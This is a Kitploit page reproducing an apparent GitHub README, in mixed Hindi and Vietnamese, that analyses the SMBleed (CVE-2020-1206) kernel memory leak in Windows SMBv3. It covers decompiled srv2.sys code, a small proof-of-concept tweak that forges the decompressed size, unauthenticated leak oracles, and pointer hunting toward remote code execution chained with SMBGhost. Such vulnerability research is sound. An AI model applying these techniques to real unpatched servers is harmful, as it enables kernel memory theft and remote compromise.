Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2020-1206 — CVE-2020-1206 (SMBleed) कर्नेल सूचना प्रकटीकरण भेद्यता का Windows SMBv3 में तकनीकी विश्लेषण, जिसमें अप्रमाणित मेमोरी लीक ओरेकल और SMBGhost के साथ मिलाकर RCE के लिए शोषण तकनीकें शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/datntsec/cve-2020-1206
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंगबाइनरी शोषण
GitHubdatntsec/cve-2020-1206

CVE-2020-1206

CVE-2020-1206 (SMBleed) कर्नेल सूचना प्रकटीकरण भेद्यता का Windows SMBv3 में तकनीकी विश्लेषण, जिसमें अप्रमाणित मेमोरी लीक ओरेकल और SMBGhost के साथ मिलाकर RCE के लिए शोषण तकनीकें शामिल हैं।

रिपॉजिटरी देखें
5 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

SMBGhost भेद्यता (CVE-2020-0796) में, मैंने एक तकनीक के बारे में बात की थी जो पूर्णांक अतिप्रवाह बग के उपयोग के माध्यम से write-what-where प्रिमिटिव है, जिसमें Alloc.Userbuffer पॉइंटर को बदलकर उस पते पर इंगित किया जाता है जो हम चाहते हैं और उसमें मनमाना डेटा लिखा जाता है। SMB Ghost के समान, यह भेद्यता भी srv2.sys में Srv2DecompressData फ़ंक्शन में मौजूद है। आइए फिर से Srv2DecompressData फ़ंक्शन को देखें जो SMBGhost भेद्यता (CVE-2020-0796) से संबंधित है और Zecops द्वारा सरलीकृत किया गया है।``` c typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER;

typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER;

NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; }

root@kitploit:~
ULONG FinalCompressedSize = 0;


NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}


if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}


Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

}

root@kitploit:~
Hàm Srv2DecompressData एक क्लाइंट द्वारा भेजे गए संपीड़ित संदेश को प्राप्त करता है और आवश्यक मेमोरी क्षेत्र आवंटित करता है, उसमें संदेश को डीकंप्रेस करता है। फिर, यदि Offset फ़ील्ड शून्य नहीं है, तो यह आवंटित मेमोरी की शुरुआत में संपीड़ित डेटा से पहले के डेटा (RawData) को कॉपी करता है।

![](https://assets.kitploit.com/production/public/readmes/24502/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

SMBGhost त्रुटि इस तथ्य में निहित है कि फ़ंक्शन integer overflow की जाँच नहीं करता है, जिससे गलत आकार आवंटन होता है और buffer overflow होता है। Microsoft द्वारा SMBGhost को पैच करने के तीन महीने बाद, CVE-2020-1206 (SMBleed - जैसा कि [Zecops Blog](https://blog.zecops.com/) द्वारा नामित) भेद्यता पाई गई। यह भेद्यता हमें दूसरे मशीन के पते को लीक करने की अनुमति देती है, और यदि SMBGhost के साथ संयुक्त किया जाए, तो हम RCE प्राप्त कर सकते हैं। Srv2DecompressData फ़ंक्शन के बारे में सरल दृष्टिकोण के लिए, हम इस फ़ंक्शन का उपयोग SMBGhost पैच से पहले करेंगे और मान लेंगे कि इसे पैच किया गया है।

# OriginalCompressedSegmentSize को धोखा देना
SMBGhost की तरह, इस बार हम OriginalCompressedSegmentSize को हमारे द्वारा भेजे गए डीकंप्रेस्ड डेटा से थोड़ी बड़ी संख्या के साथ धोखा देंगे। उदाहरण के लिए, हम x बाइट आकार के डेटा को संपीड़ित करते हैं, OriginalCompressedSegmentSize फ़ील्ड में x रखने के बजाय, हम इसे x + 0x1000 पर सेट करेंगे, निम्नलिखित चित्र से यह स्पष्ट होगा:

![](https://assets.kitploit.com/production/public/readmes/24502/687d3bdc67e4b2f5bb3cecbe41ea52be98a5c904a8688b325a69acb0a854ca75.png)

Uninitialized kernel data को संदेश के एक भाग के रूप में माना जाएगा।

जैसा कि मैंने [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796) के विश्लेषण में कहा था, Srv2DecompressData अभी भी SmbCompressionDecompress फ़ंक्शन के बाद जाँच चरण को छोड़ देगा यदि डीकंप्रेसन सफलतापूर्वक होता है:``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

हालांकि OriginalCompressedSegmentSize फ़ील्ड को x के बजाय x + 0x1000 पर सेट किया गया है, लेकिन सफल डीकंप्रेसन के बाद, FinalCompressedSize वेरिएबल में x मान नहीं होगा, बल्कि x + 0x1000 मान होगा:```c NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ...

root@kitploit:~
NTSTATUS Status = RtlDecompressBufferEx2(
    ...,
    FinalUncompressedSize,
    ...);
if (status >= 0) {
    *FinalCompressedSize = CompressedBufferSize;
}

// ...

return Status;

}

root@kitploit:~
क्योंकि सफल डीकंप्रेसन के बाद, FinalCompressedSize को CompressedBufferSize (जो SmbCompressionDecompress फ़ंक्शन को पास किए गए OriginalCompressedSegmentSize के अनुरूप है) मान रखने के लिए अपडेट किया जाता है। उसके बाद का अपडेट और जाँच लगभग अनावश्यक है, जो कुछ अप्रत्याशित त्रुटियों का कारण बन सकता है।

# बुनियादी स्तर पर शोषण

Zecops द्वारा भेद्यता प्रदर्शित करने के लिए उपयोग किया गया संदेश संरचना [SMB2 WRITE संदेश](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8) है। इस संरचना में लिखे जा सकने वाले बाइट्स की संख्या, फ्लैग, आदि जैसे फ़ील्ड शामिल हैं, जिसके बाद एक मनमानी लंबाई का बफर होता है। यह भेद्यता का शोषण करने के लिए काफी उपयुक्त है, क्योंकि हम एक संदेश बना सकते हैं और हेडर निर्दिष्ट कर सकते हैं, जिसमें एक बफर हो जिसमें अप्रारंभित डेटा हो।

माइक्रोसॉफ्ट के WindowsProtocolTestSuites रिपॉजिटरी पर [Zecops](https://blog.zecops.com/) के POC के आधार पर, इस पर बेहतर समझ पाने के लिए, हम कंप्रेशन फ़ंक्शन में यह छोटा सा जोड़ जोड़ेंगे:``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
    ((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
    compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}

ध्यान दें कि यह POC प्रमाणीकरण और लेखन अनुमति साझा करने की आवश्यकता है, जो अक्सर कई मामलों में उपलब्ध होता है। हालांकि, त्रुटि रिटर्न सभी संदेशों पर लागू होगी (प्रमाणीकरण के साथ या बिना प्रमाणीकरण वाले संदेश सहित), इसलिए संभावना है कि हम बिना प्रमाणीकरण के भी शोषण कर सकते हैं। एक और बात यह है कि हम जो मेमोरी लीक करेंगे वह NonPagedPoolNx में पिछले आवंटन से है और क्योंकि हम आवंटन आकार को नियंत्रित कर सकते हैं, हम कुछ हद तक उस डेटा को नियंत्रित कर सकते हैं जिसे हम लीक करेंगे।

SMBleed POC Source Code

तो यदि प्रमाणीकरण जानकारी नहीं है तो क्या कर्नेल पता लीक किया जा सकता है? इस प्रश्न का उत्तर देने के लिए, आइए SMB का और गहराई से विश्लेषण करें।

SMB में गहराई से

जब प्रमाणीकरण जानकारी प्रमाणित होती है, तो क्लाइंट निम्नलिखित संदेश भेजता है:

SMB2 NEGOTIATE → SMB2 SESSION_SETUP → SMB2 SESSION_SETUP

यदि प्रमाणीकरण जानकारी गलत है, तो दूसरे SMB2 SESSION_SETUP पैकेट के बाद सत्र समाप्त हो जाएगा:

मान लीजिए कि हमारे पास प्रमाणीकरण जानकारी नहीं है, हम जांच करेंगे कि क्या कोई ऐसा कमांड है जिसे बिना प्रमाणीकरण के भेजा जा सकता है। खोज करने पर, हम पाते हैं:

  • पहला कमांड जो भेजा जाना चाहिए वह SMB2 NEGOTIATE है और यह एक सत्र में एकमात्र SMB2 NEGOTIATE कमांड है।
  • अगले कमांड, जब तक सफल प्रमाणीकरण नहीं हो जाता, SMB2 SESSION_SETUP होना चाहिए।

इसमें SMB2 NEGOTIATE संदेश संपीड़ित नहीं होगा। बग डीकंप्रेसन फ़ंक्शन में है, इसलिए हम इस पर विचार नहीं करेंगे बल्कि केवल SMB2 SESSION_SETUP संदेशों पर विचार करेंगे।

SMB2 SESSION_SETUP

जैसा कि ऊपर बताया गया है, एक सामान्य सत्र में 2 SMB2 SESSION_SETUP कमांड भेजे जाते हैं। वापसी पैकेट में ऐसा कोई डेटा नहीं होता जो हमें शोषण करने के लिए आवश्यक हो, और हमारे पास वापसी पैकेट को प्रभावित करने का कोई तरीका भी नहीं है। हालांकि, दूसरे वापसी पैकेट में पैकेट हेडर में status 0xC000006D (STATUS_LOGON_FAILURE) के साथ खाली बॉडी होगी। ध्यान दें कि पहला SMB2 SESSION_SETUP पैकेट NTLM Negotiate message अनुरोध रखता है और दूसरा पैकेट NTLM Authenticate message रखता है। NTLM Negotiate message काफी सरल है, और शायद इसमें कुछ दिलचस्प नहीं है, इसलिए हम NTLM Authenticate message में गहराई से जाएंगे।

NTLM Authenticate message

NTLM Authenticate message का अध्ययन करने के बाद, हम पाते हैं कि इस संदेश का सबसे जटिल हिस्सा, जो शोषण के लिए सबसे उपयुक्त है, NTLM2 V2 Response संरचना है। यह संरचना चर आकार की बाइट सरणी है, जिसमें मुख्य रूप से NTLMv2_CLIENT_CHALLENGE संरचना होती है। हम देखते हैं कि यदि यह संरचना प्रारंभिक जांच पास नहीं करती है, तो 0xC000006D (STATUS_LOGON_FAILURE) के बजाय 0xC000000D (STATUS_INVALID_PARAMETER) मान लौटाया जाएगा। प्रारंभिक जांच में से एक AvPairs फ़ील्ड की जांच है।

AvPairs फ़ील्ड चर आकार की बाइट सरणी है जिसमें AV_PAIR संरचनाएं होती हैं। प्रत्येक AV_PAIR एक attribute/value जोड़ी को परिभाषित करता है, attribute को AvId फ़ील्ड द्वारा परिभाषित किया जाता है, AvLen फ़ील्ड value की बाइट लंबाई को परिभाषित करता है, Value फ़ील्ड चर आकार की बाइट सरणी है जिसमें इसका अपना मान होता है। MsvAvEOL attribute और शून्य लंबाई वाला एक आइटम सरणी के अंत को चिह्नित करता है।

Authenticate message को msv1_0.dll मॉड्यूल में SsprHandleAuthenticateMessage फ़ंक्शन द्वारा संसाधित किया जाता है। प्रारंभिक जांच के दौरान, यह फ़ंक्शन सुनिश्चित करता है कि AvPairs सरणी में निम्नलिखित attributes हों: 0x0001 (MsvAvNbComputerName), 0x0002 (MsvAvNbDomainName)। हालांकि, इसका मान जांचा नहीं जाता है, यह केवल सरणी के माध्यम से पुनरावृत्त करके जांचता है कि अनुरोधित attribute मौजूद है या नहीं और इसकी लंबाई संरचना के भीतर है या नहीं। यदि लंबाई बहुत बड़ी है, तो पार्सिंग रोक दी जाती है। इसलिए, वास्तव में, MsvAvEOL की वैधता की जांच नहीं की जाती है।

इस बिंदु पर, हमने पाया है कि हम एक अनुरोध बना सकते हैं जो हमें निम्नलिखित प्रश्न का उत्तर देने में मदद कर सकता है: ऑफसेट x पर दो बाइट, uint16 प्रकार के, क्या मान y से बड़ा है? x और y हमारे नियंत्रण में हैं। आइए निम्नलिखित पैकेट पर विचार करें:

value 0x0001 (MsvAvNbComputerName) की सामग्री महत्वपूर्ण नहीं है, इसलिए हम इसका उपयोग दूसरे value के ऑफसेट को समायोजित करने के लिए कर सकते हैं। दूसरे value के लिए, हम केवल attribute को 0x0002 (MsvAvNbDomainName) पर सेट करते हैं, बिना len और value को आरंभ किए। साथ ही पूरे पैकेट का आकार इस प्रकार सेट करें कि लंबाई फ़ील्ड के अनुसार y बाइट हों। दूसरे value के लंबाई फ़ील्ड के अनारंभित मान के आधार पर दो संभावित परिणाम हो सकते हैं:

  • length <= y: इस मामले में, जांच पास हो जाती है क्योंकि मान्य मान 0x0002 (MsvAvNbDomainName) पाया जाता है। सर्वर 0xC000006D (STATUS_LOGON_FAILURE) लौटाता है क्योंकि प्रमाणीकरण जानकारी गलत है।
  • length > y: इस मामले में, जांच विफल हो जाती है, क्योंकि दूसरे मान की अमान्य लंबाई है और इसे त्याग दिया जाता है। सर्वर इस मामले के लिए 0xC000000D (STATUS_INVALID_PARAMETER) लौटाता है।

सर्वर से प्रतिक्रिया के अनुसार, हम हमेशा उपरोक्त प्रश्न का उत्तर निकाल सकते हैं।

हालांकि, NTLM Authenticate message 0xB48 बाइट तक सीमित है और यदि यह इससे बड़ा है तो इसे हटा दिया जाएगा। यह जांच msv1_0.dll मॉड्यूल में SspContextGetMessage फ़ंक्शन द्वारा की जाती है। तो मान लीजिए कि हम len में केवल 1 बाइट लिखते हैं, शेष बाइट में अनारंभित मान होगा, तो क्या हम इसे बायपास कर सकते हैं? दुर्भाग्य से नहीं, क्योंकि uint16 मान लिटिल एंडियन के रूप में एन्कोड किया गया है।

इस प्रकार, हम एक ही SMB सत्र में अपनी इच्छित चीज़ प्राप्त नहीं कर सकते, हम अन्य कारकों पर विचार करेंगे।

Observation #1: Lookaside lists

जैसा कि पिछले शोध (CVE-2020-0796) में उल्लेख किया गया है, कर्नेल में SMB प्रोसेसिंग मॉड्यूल (srv2.sys और srvnet.sys) एक कस्टम आवंटन फ़ंक्शन - SrvNetAllocateBuffer - का उपयोग करते हैं, जो srvnet.sys द्वारा निर्यात किया जाता है। यह फ़ंक्शन ऑप्टिमाइज़ेशन के लिए छोटे आवंटन के लिए लुकअसाइड सूचियों का उपयोग करता है। लुकअसाइड सूचियों का उपयोग ड्राइवर के लिए पुन: प्रयोज्य निश्चित आकार के बफ़र्स के एक सेट को कुशलतापूर्वक संग्रहीत करने के लिए किया जाता है।

Lookaside lists được tạo khi khởi tạo, danh sách cho từng kích thước và bộ xử lý logic được mô tả trong bảng sau:

Mỗi ô có ký hiệu "📝" là một lookaside list riêng biệt. Để đơn giản hóa phân tích, ta sẽ giả sử rằng mục tiêu của chúng ta chỉ có một Logical Processor. Trong trường hợp này, miễn là cùng một lượng byte được cấp phát, cùng một lookaside list được sử dụng thì cũng sẽ cùng một buffer được sử dụng lại nhiều lần. Ta có thể sử dụng điều này để có một số quyền kiểm soát đối với dữ liệu chưa được khởi tạo.

Observation #2: Failing the decompression

Hãy xem lại điều gì sẽ xảy ra khi một compressed packet được decompress (tham khảo writeup CVE-2020-0796 để biết thêm chi tiết và mã giả):

Trong trường hợp CompressedData không hợp lệ, giai đoạn decompression sẽ không thành công, giai đoạn copy không được thực thi và kết nối bị ngắt. Nhưng decompression có thể không thành công chỉ sau khi giải nén một phần của CompressedData hợp lệ. Điều này cho phép ta tạo ra một yêu cầu sao cho dữ liệu mà ta lựa chọn sẽ được ghi ở offset mà ta lựa chọn, như hình sau:

Back to the NTLM Authenticate message

Ta có thể sử dụng các Observation trên để làm cho kỹ thuật của ta hoạt động bằng cách sử dụng hai bước:

  1. Gửi một message với một compressed data không hợp lệ để chỉ một byte 0 duy nhất được giải nén. Byte đó sẽ là byte thứ nhất của trường length của Value thứ hai trong mảng AvPairs.
  2. Gửi một message giống như trước đây, nhưng đảm bảo rằng cùng một lookaside list được sử dụng cho việc phân bổ, sao cho byte 0 sẽ ở đó.

Lần này, kỹ thuật này có thể trả lời câu hỏi sau: Cho một byte ở offset x, giá trị có lớn hơn y không? Như trước đây, x và y được kiểm soát bởi ta.

Vì ta có thể sử dụng lại bộ đệm nhiều lần bằng cách đảm bảo sử dụng cùng một lookaside list, chúng ta có thể lặp lại các bước nhiều lần trong khi thay đổi y và cuối cùng suy ra giá trị byte tại một khoảng chênh lệch nhất định.

Tuy nhiên, kỹ thuật này có một hạn chế - offset của byte mà chúng ta có thể đọc được giới hạn ở byte 0xADB từ đầu của packet buffer. Đó là do offset của NTLM Authenticate message (AUTHENTICATE_MESSAGE) được giới hạn ở 0x40 byte sau khi kết thúc SMB2 SESSION_SETUP headers (được thực thi bởi hàm Smb2ValidateSessionSetup trong srv2.sys) và kích thước của NTLM Authenticate message (AUTHENTICATE_MESSAGE) bị giới hạn thành 0xB48 byte. Ta sẽ tìm cách giải quyết việc này.

Giả sử rằng ta muốn đọc một byte ở offset 0x1100. Ta không thể làm điều đó trực tiếp bằng kỹ thuật trên, tuy nhiên ta vẫn có thể sử dụng thêm kĩ thuật sau: vì các buffer được tái sử dụng từ lookaside lists, ta có thể "nâng" byte đích thông qua hàm decompression bằng cách đặt trường Offset để vượt qua byte đó. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, nếu không việc Copy sẽ không xảy ra.

Buffer của gói tin chứa dữ liệu được gửi đến bởi client sẽ chứa thêm 16 byte headers không được copy khi quá trình giải nén diễn ra. Kết quả là, dữ liệu được copy và giải nén, bao gồm cả target byte, được sao chép đến một vị trí gần 16 byte hơn phần đầu của buffer được cấp phát. Chúng ta có thể lặp lại điều đó vài lần, cho đến khi offset của target byte đủ thấp.

Address leak POC

Bạn có thể tìm thấy một script chứng minh kỹ thuật trên tại đây. Hãy nhớ rằng ta đã giả định rằng máy tính server chỉ có một bộ xử lý logic, vì vậy bạn sẽ phải định cấu hình máy ảo của mình đúng cách để đoạn script hoạt động. Nếu mọi việc suôn sẻ, đoạn script sẽ đọc và leak được địa chỉ của NonPagedPoolNx pool. Trên thực tế, đó sẽ là địa chỉ của một trong những buffer nằm cùng một lookaside lists.

Vì kĩ thuật này có khá nhiều hạn chế, nên tôi sẽ không phân tích sâu hơn nữa. Tuy nhiên bạn vẫn có thể đọc script trên và tự phân tích.

A different approach – decompression

Trong quá trình nghiên cứu, Zecops nhận ra rằng gói SMB được giải nén không phải là cấu trúc phức tạp duy nhất có thể không hợp lệ theo nhiều cách khác nhau. Ngay cả trước khi xử lý tất cả các cấu trúc liên quan đến SMB, compressed buffer cũng có thể không hợp lệ. Nếu giải nén không thành công, kết nối đến server sẽ bị ngắt.

Microsoft cung cấp ba thuật toán nén để ta lựa chọn khi triển khai SMB: LZNT1, Plain LZ77 và LZ77 + Huffman. Ta sẽ chỉ xem xét LZNT1 vì nó khá đơn giản - khoảng 80 dòng Python cho một hàm giải nén. Tôi sẽ nói sơ về quá trình giải nén: dữ liệu nén bao gồm một chuỗi các block được nén, mỗi block được bắt đầu bằng một biến uint16 đánh dấu độ dài của block đó. Khi gặp độ dài bằng 0, quá trình giải nén sẽ hoàn tất. Ta sẽ sử dụng điều này để ghi vào một chuỗi byte 0 tượng trưng cho dữ liệu nén hợp lệ. Mục đích để trả lời cho câu hỏi ở trên: Cho một byte ở offset x, giá trị có lớn hơn y không? Tất nhiên, x và ý vẫn sẽ do ta kiểm soát.

Dưới đây là một ví dụ về dữ liệu nén mà ta sẽ gửi:

Có hai kết quả có thể xảy ra tùy thuộc vào giá trị chưa khởi tạo của byte thứ nhất của trường length:

  • length <= y: Trong trường hợp này, block đầu tiên sẽ toàn byte 0, điều này hoàn toàn hợp lệ và length của block tiếp theo sẽ bằng 0, việc giải nén sẽ hoàn tất. Server sẽ trả lại một response.
  • length > y: Trong trường hợp này, block nén đầu tiên hoặc thứ hai sẽ chứa các byte 0xFF, block này sẽ không giải nén được. Server sẽ ngắt kết nối do dữ liệu nén không hợp lệ.

Cũng giống như kỹ thuật trước, chúng ta có thể sử dụng các Observation số 1 và số 2 để tạo ra một message với một byte chưa được khởi tạo ở giữa message bằng cách sử dụng hai bước:

  1. Gửi một message với dữ liệu nén không hợp lệ để chỉ một phần dữ liệu được giải nén, tương tự như hình trên
  2. Gửi message thứ hai và đảm bảo rằng cùng một lookaside list được sử dụng trong message thứ 1, để các byte từ bước 1 sẽ ở đó.

Lưu ý rằng giá trị Offset trong header gói SMB sẽ trỏ đến dữ liệu nén, dữ liệu này có thể hợp lệ hay không tùy thuộc vào giá trị của byte chưa được khởi tạo.

Ưu điểm đáng chú ý nhất của kỹ thuật này so với kỹ thuật trước là không có giới hạn offset nữa.

Như vậy, tổng kết lại, ta có 2 kỹ thuật để đọc một vùng nhớ chưa được khởi tạo từ pool buffer được cấp phát bởi hàm SrvNetAllocateBuffer của module srvnet.sys. Kỹ thuật đầu tiên tạo ra một gói SMB đặc biệt, sau đó suy luận thông tin thông qua response của server. Kỹ thuật thứ hai với ít hạn chế hơn, ta sẽ tạo ra một dữ liệu được nén đặc biệt và gửi nó đi, sau đó suy luận thông tin dựa trên việc server có ngắt kết nói hay không.

Như vậy, ta có thể sử dụng một trong 2 kĩ thuật trên để khai thác. Và như tôi đã nói, kĩ thuật đầu tiên có nhiều hạn chế, nên ta sẽ chỉ đi sâu vào kĩ thuật thứ 2.

Kĩ thuật này sẽ giúp ta khai thác theo hướng write-what-where primitive mà Zecops đã chứng minh trước đây trong nghiên cứu trước về khả năng đạt được local privilege escalation. Ta sẽ dùng kĩ thuật này để leak địa chỉ trong memory layout để có thể sử dụng write-what-where primitive. Không may mắn là memory được cấp phát bởi hàm SrvNetAllocateBuffer chủ yếu được sử dụng cho dữ liệu mạng như gói SMB và không chứa bất kỳ con trỏ system nào. Và vì ta cần đạt được RCE, nên việc leak các vùng nhớ chưa được khởi tạo bởi các lần cấp phát trước của hàm SrvNetAllocateBuffer là vô ích do không chắc chắn được vị trí con trỏ cần tìm. Ta cần tìm một thứ gì đó có thể hữu ích hơn.

SrvNetAllocateBuffer and the allocated buffer layout

Như tôi có nói trong nghiên cứu về local privilege escalation (CVE-2020-0796), hàm SrvNetAllocateBuffer không chỉ trả về một buffer với kích thước được yêu cầu. Thay vào đó nó sẽ trả về một con trỏ trỏ đến vùng nằm ngay bên dưới user buffer của cấu trúc pool-allocated memory block, chứa thông tin về buffer được cấp phát. Cách bố trí của pool-allocated memory block như sau:

Mặc dù kỹ thuật đọc của ta chỉ có thể đọc các byte từ vùng "User Buffer", ta vẫn có thể dùng một kĩ thuật khác để copy các phần của cấu trúc SRVNET_BUFFER_HDR vào "User Buffer" của một buffer khác để có thể đọc nó. Bằng cách đặt trường Offset trỏ đến cấu trúc SRVNET_BUFFER_HDR nằm ngoài dữ lệu mà ta muốn đọc. Ta chỉ cần đảm bảo rằng dữ liệu nằm ở đó có thể được hiểu là dữ liệu nén hợp lệ, ngược lại, việc copy sẽ không được diễn ra.

Hunting for pointers

Hãy xem xét các trường của cấu trúc SRVNET_BUFFER_HDR và ​​xem liệu có nội dung nào đáng để ta đọc không: :``` c #pragma pack(push, 1) struct SRVNET_BUFFER_HDR { /00/ LIST_ENTRY ConnectionBufferList; /10/ WORD BufferFlags; // 0x01 - no transport header, 0x02 - part of a lookaside list /12/ WORD LookasideListIndex; // 0 to 8 /14/ WORD LookasideListLogicalProcessor; /16/ WORD TracingDataCount; // 0, 1 or 2, for TracingPtr1/2, TracingUnknown1/2 /18/ PBYTE UserBufferPtr; /20/ DWORD UserBufferSizeAllocated; /24/ DWORD UserBufferSizeUsed; /28/ DWORD PoolAllocationSize; /2C/ BYTE unknown1[4]; /30/ PBYTE PoolAllocationPtr; /38/ PMDL pMdl1; /40/ DWORD BytesProcessed; /44/ BYTE unknown2[4]; /48/ SIZE_T BytesReceived; /50/ PMDL pMdl2; /58/ PVOID pSrvNetWskStruct; /60/ DWORD SmbFlags; /64/ PVOID TracingPtr1; /6C/ SIZE_T TracingUnknown1; /74/ PVOID TracingPtr2; /7C/ SIZE_T TracingUnknown2; /84/ BYTE unknown3[12]; }; #pragma pack(pop)

root@kitploit:~
`UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` पॉइंटर्स pool-allocated मेमोरी ब्लॉक के अंदर इशारा करने वाले पॉइंटर्स हैं, जिनके ऑफ़सेट की पहले से गणना की जा सकती है, इसलिए हमें केवल उनमें से एक को पढ़ने की आवश्यकता है। pool-allocated मेमोरी ब्लॉक की ओर इशारा करने वाला एक पॉइंटर होना निश्चित रूप से हमारे शोषण में मदद करेगा। इसके अलावा निम्नलिखित पॉइंटर्स भी बहुत महत्वपूर्ण हैं:
- **ConnectionBufferList**: एक कनेक्शन के सभी प्राप्त लेकिन असंसाधित बफ़र्स की एक लिंक्ड सूची। इस सूची का शीर्ष srvnet.sys में SrvNetAllocateConnection फ़ंक्शन द्वारा बनाया गया एक कनेक्शन ऑब्जेक्ट है। SrvNetWskReceiveComplete फ़ंक्शन द्वारा एक बफ़र को सूची में जोड़ा जाता है। हमारे मामले में, सूची में केवल एक ही बफ़र होगा, इसलिए LIST_ENTRY संरचना के दोनों पॉइंटर्स (Flink और Blink) कनेक्शन ऑब्जेक्ट के अंदर सूची के शीर्ष की ओर इशारा करेंगे।
- **pSrvNetWskStruct**: प्रारंभ में, एक पॉइंटर जो ऊपर वर्णित कनेक्शन ऑब्जेक्ट की ओर इशारा करता है। यह पॉइंटर SrvNetWskReceiveEvent फ़ंक्शन द्वारा सेट किया जाता है, लेकिन SrvNetWskReceiveComplete फ़ंक्शन द्वारा SRVNET_BUFFER_HDR संरचना की ओर इशारा करने वाले पॉइंटर से अधिलेखित कर दिया जाता है। इसलिए, इसे पढ़ना ऊपर बताए गए चार पॉइंटर्स में से एक को पढ़ने से अधिक उपयोगी नहीं है। वैसे, यदि आप "pSrvNetWskStruct" खोजते हैं, तो आप पाएंगे कि EternalBlue के शोषण में इसकी एक भूमिका है।
- **TracingPtr1/2**: ये पॉइंटर्स केवल तभी उपयोग किए जाते हैं जब ट्रेसिंग सुविधा सक्रिय हो।

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

जैसा कि आप देख सकते हैं, हमारे द्वारा पढ़े जाने वाला एकमात्र अन्य उपयोगी पॉइंटर ConnectionBufferList संरचना में एक पॉइंटर है। LIST_ENTRY संरचना में दोनों पॉइंटर्स (Blink और Flink) कनेक्शन ऑब्जेक्ट की ओर इशारा करते हैं। इस ऑब्जेक्ट को EternalBlue शोधकर्ता द्वारा SRVNET_RECV नाम दिया गया है, इसलिए हम भी इसी नाम का उपयोग करेंगे।

## मॉड्यूल का आधार पता प्राप्त करना
अब, जब हम जानते हैं कि दो पॉइंटर्स कैसे प्राप्त करें - एक pool-allocated मेमोरी ब्लॉक की ओर इशारा करता है और एक SRVNET_RECV संरचना की ओर इशारा करता है - तो हम write-what-where प्रिमिटिव का उपयोग करके दो बफ़र्स को स्वतंत्र रूप से संशोधित कर सकते हैं। RCE प्राप्त करने के कई तरीके हो सकते हैं, लेकिन मॉड्यूल का आधार पता प्राप्त करना सबसे सरल विकल्प होगा क्योंकि उनसे हमारे पास संशोधित करने के लिए बहुत सी चीज़ें हैं जो एक मॉड्यूल के डेटा सेक्शन में होती हैं। जैसा कि हमने देखा, SrvNetAllocateBuffer द्वारा आवंटित मेमोरी ब्लॉक में कोई भी पॉइंटर किसी मॉड्यूल की ओर नहीं इशारा करता है। हालाँकि, अभी भी कुछ पॉइंटर्स हैं जो मॉड्यूल की ओर इशारा करते हैं:

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

हमारे पास जो रीड टेक्नीक है वह हमें केवल "User Buffer" क्षेत्र में डेटा पढ़ने की अनुमति देती है, जबकि ये पॉइंटर्स काफी दूर हैं और कई अन्य पॉइंटर्स द्वारा इंगित किए गए हैं। हमें एक कोड की आवश्यकता है जो पॉइंटर मान को "User Buffer" क्षेत्र में कॉपी करने के लिए निम्नलिखित कार्य कर सके:``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

